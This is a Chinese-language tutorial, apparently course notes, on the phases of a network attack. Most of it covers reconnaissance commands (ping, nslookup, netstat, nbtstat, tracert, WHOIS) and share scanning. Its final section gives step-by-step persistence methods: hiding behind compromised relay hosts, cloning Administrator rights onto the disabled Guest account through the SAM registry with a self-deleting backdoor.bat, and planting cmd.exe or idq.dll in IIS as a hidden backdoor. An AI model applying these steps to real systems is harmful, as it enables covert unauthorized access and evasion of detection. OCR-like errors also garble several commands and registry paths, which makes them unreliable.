1、网络攻击三部曲
1.1、攻击的准备阶段
1.1.1、确定攻击的目的
攻击目的是指想要给受侵者造成什么样的后果
常见的有破坏型和入侵型两种
1.1.2、信息收集
搜集尽量多的关于攻击目标的信息
这些信息包括公开的信息和主动探测的信息
- 使用
Tracert
命令探测网络结构
- 使用
whois协议
搜集信息
1.1.3、服务分析
获取目标主机上提供了哪些服务、相应端口是否开放、各服务所使用的软件版本类型
- 标准服务与端口的对应关系
1.1.4、目标主机的系统分析
在知道了目标主机开放的服务之后,可以连接这些服务
然后根据连接过程中的返回消息,分析目标主机的操作系统
- Windows家族的TTL一般为128
- Unix系统的TTL为255
1.1.5、漏洞分析
一般借助软件如Nessus、X-Scan等综合型漏洞检测工具、wVS等专用型漏洞检测工具等自动分析
- WVS检测报告
1.2、攻击的实施阶段
- 非法提权
- 植入后门
- 建立后门账号
- 种植木马
1.3、攻击的善后阶段
- 删除日志
- 删除操作记录
- 文件隐藏
2、网络信息搜集
2.1常用的DOS命令
2.1.1、 ping命令
ping命令是入侵者经常使用的网络命令,该命令用于测试网络连接性,通过发送特定形式的ICMP包来请求主机的回应,进而获得主机的一些属性
- ping命令的使用格式:
ping [-t] [-a][-l][-n count][-i TTL]
参数说明
参数 | 说明 |
---|---|
-t | 一直ping下去,直到按下Ctrl+C组合键结束 |
-a | ping 的同时把IP地址转换成主机名 |
-l | 指定数据包的大小,默认为32个字节,最大为65527 |
-f | 在数据包中发送“不要分段”标志,数据包不会被路由设备分段 |
-n count | 设定ping的次数 |
-i TTL | 设置ICMP包的生存时间(指ICMP包能够传到临近的第几个节点) |
- 例如使用命令:
ping192.168.1.1
- 如果返回的结果是
“Reply from 192.168.1.1: bytestime<10ms tl=62”
目标主机有响应,说明192.168.1.1这台主机是活动的 - 如果返回的结果是
"Request timed out.”
则目标主机不是活动的,即目标主机不在线或安装有网络防火墙,这样的主机是不容易入侵的 - 不同的操作系统对于ping 的TTL返回值是不同的
操作系统 | 默认TTL返回值 |
---|---|
UNIX类 | 255 |
Windows95 | 32 |
Windows NT/2000/2003 | 128 |
Compap Tru64 5.0 | 64 |
- 因此,入侵者便可以根据不同的TTI返回值来推测目标究竟属于何种操作系统
- 对于入侵者的这种信息收集手段,网管可以通过修改注册表来改变默认的TTL返回值
在一般情况下黑客是如何得到目标IP地址和目标主机的地理位置的呢?
① 由域名得到网站IP地址
- 方法一:ping命令试探
例如,黑客想知道百度服务器的P地址,可以在MS-DOS中键入
“ping www.baidu.com'
命令
可以看出,www.baidu.com对应的IP地址为 202.108.22.43
- 方法二:nslookup 命令
同样以百度服务器为例,在MS-DOS中键入
“nslookup www.baidu.com”
命令,回车后等到域名查询结果
Addresses后面列出的就是www.baidu.com所使用的Web服务器群里的IP
上面介绍的是黑客经常使用的两种最基本方法
此外,还有一些软件(如Lansee)附带域名转换P的功能,实现起来更简单,功能更强大
从这两种方法中可以看出:
- ping命令方便、快捷
- nslookup命令查询到的结果更为详细
② 由IP得到目标主机的地理位置
- 由于P地址的分配是全球统一管理的
- 因此黑客可以通过查询有关机构的IP地址数据库来得到该P所对应的地理位置
- 由于IP管理机构多处于国外,而且分布比较零散
因此在这里介绍一个能查询到IP数据库的网站
网站一: http://ip.loveroot.com
例如,要查询202.108.22.5(百度的P)的物理地址,可以在图中的“IP地址”右面的文本框输入“202.108.22.5”,然后单击“查询”按钮,就会得到如图所示的查询结果
2.1.2、 netstat 命令
netstat命令有助于了解网络的整体使用情况,它可以显示当前正在活动的网络连接的详细信息,如采用的协议类型、当前主机与远端相连主机(一个或多个)的IP地址以及它们之间的连接状态等
- netstat 命令的使用格式
netstat [-a][-e][-n][-s][-p proto][-r][interval]
参数说明
参数 | 说明 |
---|---|
-a | 显示所有主机的端口号 |
-e | 显示以太网统计信息,该参数可以与-s选项结合使用 |
-n | 以数字表格形式显示地址和端口 |
-p proto | 显示特定的协议的具体使用信息 |
-r | 显示本地路由表的内容 |
-s | 显示每个协议的使用状态(包括TCP、UDP、IP) |
interval | 重新显示所选的状态,每次显示之间的间隔数(单位秒) |
- netstat命令的主要用途是检测本地系统开放的端口
- 这样做可以了解自己的系统开放了什么服务
- 还可以初步推断系统是否存在木马
- 因为常见的网络服务开放的默认端口轻易不会被木马占用
2.1.3、nbtstat命令
nbtstat命令用于显示本地计算机和远程计算机的基于TCP/IP (NetBT)的NetBIOS 统计资料、NetBIOS名称表和NetBIOS名称缓存
nbtstat可以刷新NetBIOS名称缓存和注册的Windows Internet名称服务(WINS)名称。使用不带参数的nbtstat显示帮助
- nbtstat 命令的使用格式
nbtstat [-a remotename] [-A IPaddress] [-c][-n][-r][-R][-RR] [-s][-S][Interval]
参数说明
参数 | 说明 |
---|---|
-a remotename | -a remotename显示远程计算机的NetBIOS名称表,其中,remotename是远程计算机的NetBIOS计算机名称 |
-A IPaddress | -A IPaddress显示远程计算机的NetBIOS名称表,其名称由远程计算机的P地址指定(以小数点分隔) |
-c | 显示NetBIOS名称缓存内容、NetBIOS名称表及其解析的各个地址 |
-n | 显示本地计算机的NetBIOS名称表 |
-r | 显示NetBIOS名称解析统计资料 |
-R | 清除NetBIOS名称缓存的内容,并从Lmhosts文件中重新加载带有#PRE标记的项目 |
-RR | 重新释放并刷新通过WINS注册的本地计算机的NetBIOS名称 |
-s | 显示NetBIOS客户和服务器会话,并试图将目标P地址转化为名称 |
-S | 显示NetBIOS客户和服务器会话,只通过P地址列出远程计算机 |
Interval | 重新显示选择的统计资料,可以中断每个显示之间的Interval 中指定的秒数。如果省略该参数,nbtstat将只显示一次当前的配置信息 |
2.2、网站信息收集
- 一个网站在正式发布之前,需要向有关机构申请域名
- 域名信息和相关的甲请信息存储在管理机构的数据库中
- 信息一般是公开的,从中包含了一定的敏感信息:
- 注册人的姓名
- 注册人的E-mail,联系电话,传真等
- 注册机构、通信地址、邮编
- 注册有效时间、失效时间
- 通常,查询域名注册信息的方法被称为“WHOIS”
- Linux系统找自带 WHOIS命令,而Windows系统中并没有
可以通过以下几个网站来查询域名注册信息
2.1.1、中国互联网络信息中心(http://www.cnnic.com.cn)
中国互联网络信息中心是比较权威的机构,记录着所有以cn为结尾的域名注册信息
2.2.2、 中国万网( http://www.net.cn)
中国万网,号称是中国最大的域名和网站托管服务提供商,不仅提供.cn的域名注册信息,而且还有.com、.net 等
2.2.3、EDGAR数据库
美国的上市公司要求在美国证券交易委员会(Security and Exchange Commission,SEC)登记,这些信息可以通过EDGAR数据库进行访问,地址 http://www.sec.gov/edgar.shtml
3、结构探测
一般来说,网络的基本结构如下:
对于Windows平台,使用相关工具可以大体推断目标网络的基本结构。
3.1、VisualRoute 探测
- VisualRoute是图形化的路由跟踪工具
- 它是为了方便网管分析故障节点而设计的
- 可以使用专门的VisualRoute 软件
- 也可以到
http:/www.linkwan.com/vr
使用该网站提供的VisualRoute 功能
3.2、tracert命令
tracert是路由跟踪命令,通过该命令的返回结果,可以获得本地到达目标主机所经过的网络设备
- tracert命令的使用格式:
tracert [-d] [-h maximum hops] [-j host-list][-w timeout]target _name
参数说明
参数 | 说明 |
---|---|
-d | 不需要把IP地址转换成域名 |
-h maximum _hops | 允许跟踪的最大跳跃数 |
-j host-list | 经过的主机列表 |
-w timeout | 每次回复的最大允许延时 |
4、资源搜集
4.1、共享资源简介
这里提及的共享资源是指在Windows系统中的“共享磁盘”、“共享文件夹”、“共享文件”、“共享打印机”等。对于一般的共享,下面都会有个“托手”的标志,而对于以“$”结尾的共享却没有“托手”标志,属于隐藏共享
4.1.1、 建立共享资源的条件
- 条件一:需要有足够的权限
- 条件二:已安装“Microsoft 网络文件和打印机共享”组件
- 条件三:已安装NetBEUI协议。如果没有安装NetBEUI协议,那么只能使用IP地址来互相访问共享资源如果安装了NetBEUI协议,便可以在同一局域网内使用主机名互相访问共享资源
如果满足上述条件,就可以在计算机上建立“共享资源”了。
4.2、共享资源搜索
4.2.1、扫描器简介
- 扫描器就是能够自动”完成探测任务的一种工具
- 黑客们用它来代替重复的手工劳动,实现对目标网络信息的自动搜集、整理甚至分析
- 使用扫描器都能搜集到什么信息呢?可以这样说,需要搜集什么样的信息,黑客们就会有什么样的扫描器
4.2.2、常用扫描器工具
- 工具Ipscan
Ipscan可以判断目标网段内有无活动主机。其中,红色显示的是不在线主机,蓝色显示的是活动主机,最后面显示的是主机名
- 工具Legion(共享资源扫描器>
Legion可以实现对共享资源的扫描,然后将共享资源映射到本地
- 工具Lansee (局域网查看工具)
Lansee可以对局域网中的主机进行扫描,并获得局域网内的共享资源
通过前面的介绍可知,如果共享资源设置不当,极有可能导致计算机被入侵者控制
可以通过以下几条安全解决方案来保证共享资源的安全
- 尽量不要开放共享资源。
- 在不得不开放共享资源的条件下,把访问者的权限降至最低
- 禁用光盘自动运行功能以防止 autorun.inf造成的入侵。
- 尽量不要使用Window 9x系统运行共享服务,如果使用则需要先给系统打补丁包
- 切忌共享系统磁盘,特别是系统文件所在的C盘
5、网络攻击的善后阶段
5.1、隐藏技术
5.1.1、文件传输与文件隐藏技术
- 所谓“隐藏入侵”,是指入侵者利用其他计算机代替自己执行扫描、漏洞溢出、连接建立、远程控制等操作
- 入侵者们把这种代替他们完成入侵任务的计算机称为“肉鸡”
- 在隐藏技术中必然涉及到入侵者将文件传输到“肉鸡”中并隐藏的问题
- 几种常见文件传输方式
- IPCS文件传输:使用命令行或映射网络驱动器方式
- FTP传输
- ·打包传输:将大量的文件进行压缩后再传送
- 文件隐藏
- ·简单隐藏:利用attrib命令为文件添加“隐藏”和“系统”属性
- 利用专用文件夹隐藏:利用隐藏工具 SFind.exe将文件隐藏到系统专用文件夹
5.1.2、扫描隐藏技术
- 入侵者通过制作“扫描代理肉鸡”的方法来隐藏自己的扫描行为
- 手工制作扫描代理是入侵者们制作扫描型“肉鸡”的通用方法
- 其思路是把扫描器传输到“肉鸡”内部,然后入侵者通过远程控制使该“肉鸡”执行扫描程序
- 入侵者通过这种方法能够实现“多跳”扫描
5.1.3、入侵隐藏技术
- 在入侵中,入侵者一般利用跳板技术实现隐藏
- 这里指的跳板可称为“入侵代理”或“入侵型肉鸡”,它存在于入侵者与远程主机/服务器之间
- 用来代替入侵者与远程主机/服务器建立网络连接或者漏洞溢出
- 这种间接的连接方式可以避免与远程主机/服务器的直接接触,从而实现入侵中的隐藏
如图所示,入侵者通过跳板一、跳板二与远程主机/服务器建立连接,可以看出,在该攻击模型中,与远程主机/服务器直接接触的只有“跳板二”主机,因此,即使入侵行为被远程主机/服务器发觉,也能够直接查出只是“跳板二”主机,入侵者主机没有直接暴露给远程主机/服务器,实现了入侵中的隐身
5.2、留后门
从入侵者角度来看,后面分为账号后门、漏洞后门和木马后门
5.2.1、账号后门
- 账号永远是系统敞开的大门
- 入侵者为了能够永久控制远程主机/服务器
- 他们会在第一次入侵成功后便马上在远程主机/服务器内部建立一个备用的管理员账号,这种账号就是“后门账号”
- 入侵者常用的留账号后门的方法是克隆账号
- 克隆帐号是通过修改注册表的SAM来实现的
- SAM (Security Account Manager)是专门用来管理Windows系统中账号的数据库,里面存放了一个账号所有的属性,包括账号的配置文件路径、账号权限、账号密码等
要修改SAM,经常需要使用工具PSU.exe
使用方式是: psu[参数选项]
- p<要运行的文件名>
- i<要su到的进程号>默认su到的进程为system
克隆账号的步骤如下:
(1) 修改SAM
-
步骤一
打开注册表编辑器,可以看到,SAM一般是无法进行修改的。如果想修改,必须提升权限
-
步骤二
通过进程管理器查看System进程,并记录该进程PID,Windows2000一般为8
-
步骤三
使用psu.exe提升权限
-
步骤四
查看SAM中的账号信息,其中 Users\Names下有所有账号列表,在 User键下,以十六进制数字为名的键记录着账号的权限、密码等配置 -
步骤五
克隆账号,就是把Guest 账号的权限克隆为管理员权限 -
步骤六
禁用Guest账号
-
步骤七
查看Guest账号
使用的命令:
net user guest
net localgroup administrators
- 步骤八
使用Guest账号进行IPC5$连接,测试账号是否可用
虽然在步骤六中禁用了Guest 账号,我们仍然可以使用该账号
(2) 命令行方式克隆账号
使用命令行方式克隆账号需要工具
- reg.exe:命令行下的注册表编辑工具
- psu.exe:权限提升工具
- pslist.exe:查看远程主机进程
- 步骤一
编写BAT 文件 backdoor.bat
psu -p "regedit /s delf.reg”-i %1
psu -p "reg copy hklm\.SAM\SAMIDomains\Account\Users\000001F4\fhklm\SAM\SAM Domains\Account\Users1000001F5\f'-i %1
net user guest /active:yes
net user guest 123456789
net user guest /active:no
del delf.reg
del reg.exe
del psu.exe
del backdoor.bat
-
步骤二
使用pslist.exe查看远程主机的System进程PID
使用命令为“pslist llip -u用户名-p 密码”
-
步骤三
上传 backdoor.bat,运行批处理进行账号克隆 -
步骤四
建立IPCS连接进行验证,退出
5.2.2、漏洞后门
- 通过前面介绍的服务器上IIS的 Unicode、.ida&.idq等漏洞
- 入侵者能够毫不费力地远程控制服务器的操作系统
- 实际上入侵者不仅能够通过漏洞实现最初的入侵,还能够通过制造漏洞来留下系统的后门
- (1)制造 Unicode漏洞
- 步骤一:找出Web根目录;
- 步骤二:拷贝cmd.exe到IIS目录中,一般可放在IIS的Scripts 文件夹中
- 步骤三:使用文件隐藏方法隐藏文件;
- 步骤四:验证Unicode后门
- (2)制造.idq漏洞
- 步骤一:把 idq.dll 传入远程服务器的Scripts目录中
- 步骤二:隐藏后门文件;
- 步骤三:利用idq或ida漏洞进行入侵
5.2.3、木马后门
- 木马具有体积小、功能强的的特点
- 有一些木马相当于一个嵌入在Windows系统内部的微型系统
- 通过与木马的连接,入侵者可以不经过任何认证而直接控制Windows系统,从而实现远程控制
- 实际上,入侵者除了使用木马进行入侵外,还经常使用木马制作系统后门
- 常见的木马后门程序有Wollf、Winshell、WinEggDrop、SQL后门